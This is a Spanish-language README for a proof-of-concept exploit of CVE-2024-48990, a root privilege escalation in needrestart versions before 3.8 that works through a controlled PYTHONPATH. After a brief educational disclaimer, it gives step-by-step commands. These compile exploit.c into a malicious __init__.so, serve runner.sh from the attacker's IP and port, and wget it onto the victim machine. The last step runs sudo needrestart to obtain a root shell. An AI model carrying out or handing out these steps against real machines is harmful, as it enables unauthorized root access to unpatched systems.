CVE-2024-48990

[!WARNING] Estos archivos e información están destinados únicamente con fines educativos. El autor no es responsable de ningún comportamiento malicioso. Toda la información proporcionada no tiene la intención de incitar ningún tipo de crimen o abuso.

Descripción

Qualys descubrió que needrestart, antes de la versión 3.8, permite a atacantes locales ejecutar código arbitrario como root engañando a needrestart para que ejecute el intérprete de Python con una variable de entorno PYTHONPATH controlada por el atacante. Consulte NIST para obtener detalles oficiales.

PoC

1. Descargue el repositorio desde git

git clone https://github.com/grecosamuel/CVE-2024-48990.git

2. Compile la librería exploit.c para generar una librería ELF válida y nómbrela __init__.so

gcc -shared -fPIC -o __init__.so exploit.c

3. Cambie <IP> y <PORT> en runner.sh, línea 7 y línea 10, por su IP y PUERTO de su propio servidor web.
4. Inicie el servidor web

python3 -m http.server

5. Descargue runner en la máquina de la víctima

wget http://IP:PORT/runner.sh

6. Establezca permiso de ejecución a runner

chmod +x runner.sh

7. Ejecute el script

./runner.sh

8. Ejecute needrestart con permiso sudo

sudo needrestart

Cuando aparezca [*] CVE module created presione CTRL+C para detener el proceso y obtener su shell !